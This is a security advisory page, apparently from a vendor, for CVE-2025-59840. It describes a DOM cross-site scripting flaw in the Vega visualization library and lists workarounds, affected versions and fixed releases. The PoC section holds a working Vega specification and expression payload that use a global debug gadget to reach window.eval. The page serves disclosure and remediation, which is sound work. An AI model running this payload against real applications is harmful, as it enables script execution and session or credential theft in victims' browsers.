CVE-2025-59840

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading

• Do not attach vega View instances to global variables, as Vega editor used to do here
• Do not attach vega to the global window as the editor used to do here

These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.

POC Summary

Vega offers the evaluation of expressions in a secure context. Arbitrary function call is prohibited. When an event is exposed to an expression, member get of window objects is possible. Because of this exposure, in some applications, a crafted object that overrides its toString method with a function that results in calling this.foo(this.bar), DOM XSS can be achieved.

In practice, an accessible gadget like this exists in the global VEGA_DEBUG code.

({
    toString: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, 
    eventName: event.view.console.log,
    _handlers: {
        undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'
    },
    _handlerIndex: event.view.eval
})+1

POC Details

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "width": 350,
  "height": 350,
  "autosize": "none",
  "description": "Toggle Button",
  "signals": [
    {
      "name": "toggle",
      "value": true,
      "on": [
        {
          "events": {"type": "click", "markname": "circle"},
          "update": "toggle ? false : true"
        }
      ]
    },
    {
      "name": "addFilter",
      "on": [
        {
          "events": {"type": "mousemove", "source": "window"},
          "update": "({toString:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})+1"
        }

      ]
    }
  ]
}

This payload creates a scenario where whenever the mouse is moved, the toString function of the provided object is implicitly called when trying to resolve adding it with 1. The toString function has been overridden to a "gadget function" (VEGA_DEBUG.vega.CanvasHandler.prototype.on) that does the following:

   on(a, o) {
        const u = this.eventName(a)
          , d = this._handlers;
        if (this._handlerIndex(d[u], a, o) < 0) {
        ....
        }
        ....
   }

1. Set u to the result of calling this.eventName with undefined
   • For our object, we have the eventName value set to console.log, which just logs undefined and returns undefined
2. Sets d to this._handlers
   • For our object, we have this defined to be used later
3. Calls this._handlerIndex with the result of u indexed into the d object as the first argument, and undefined as the second two.
   • For our object, _handlerIndex is set to window.eval, and when indexing undefined into the _handlers, a string to be evald containing the XSS payload is returned.

This results in XSS by using a globally scoped gadget to get full blown eval.

PoC Link

Navigate to vega editor, move the mouse, and observe that the arbitrary JavaScript from the configuration reaches the eval sink and DOM XSS is achieved.

Future investigation

In cases where VEGA_DEBUG is not enabled, there theoreticallycould be other gadgets on the global scope that allow for similar behavior. In cases where AST evaluator is used and there are blocks against getting references to eval, in theory there could be other gadgets on global scope (i.e. jQuery) that would allow for eval the same way (i.e. $.globalEval). As of this writing, no such globally scoped gadgets have been found.

Impact

This vulnerability allows for DOM XSS, potentially stored, potentially reflected, depending on how the library is being used. The vulnerability requires user interaction with the page to trigger.

An attacker can exploit this issue by tricking a user into opening a malicious Vega specification. Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of the application’s domain. This can lead to theft of sensitive information such as authentication tokens, manipulation of data displayed to the user, or execution of unauthorized actions on behalf of the victim. This exploit compromises confidentiality and integrity of impacted applications.

Applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used.

1. Use vega in an application that attaches vega library and a vega.View instance similar to the Vega Editor to the global window
2. Allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code)

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2025-59840 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (6.1.0, 2.2.1, 1.2.1, 5.2.1, 6.2.0); upgrading removes the vulnerable code path.

Kodem intelligence

• If using latest Vega line (6.x)
  • vega 6.2.0 / vega-expression 6.1.0 / vega-interpreter 2.2.1 (if using AST evaluator mode)
• If using Vega in a non-ESM environment
  • ( vega-expression 5.2.1 / 1.2.1 (if using AST evaluator mode)

1. What is CVE-2025-59840? CVE-2025-59840 is a high-severity cross-site scripting (XSS) vulnerability in vega-expression (npm), affecting versions >= 6.0.0, < 6.1.0. It is fixed in 6.1.0, 2.2.1, 1.2.1, 5.2.1, 6.2.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2025-59840? CVE-2025-59840 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2025-59840?
   • vega-expression (npm) (versions >= 6.0.0, < 6.1.0)
   • vega-interpreter (npm) (versions >= 2.0.0, < 2.2.1)
   • vega (npm) (versions < 6.2.0)
4. Is there a fix for CVE-2025-59840? Yes. CVE-2025-59840 is fixed in 6.1.0, 2.2.1, 1.2.1, 5.2.1, 6.2.0. Upgrade to this version or later.
5. Is CVE-2025-59840 exploitable, and should I be worried? Whether CVE-2025-59840 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-59840 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-59840?
   • Upgrade vega-expression to 6.1.0 or later
   • Upgrade vega-interpreter to 2.2.1 or later
   • Upgrade vega-interpreter to 1.2.1 or later
   • Upgrade vega-expression to 5.2.1 or later
   • Upgrade vega to 6.2.0 or later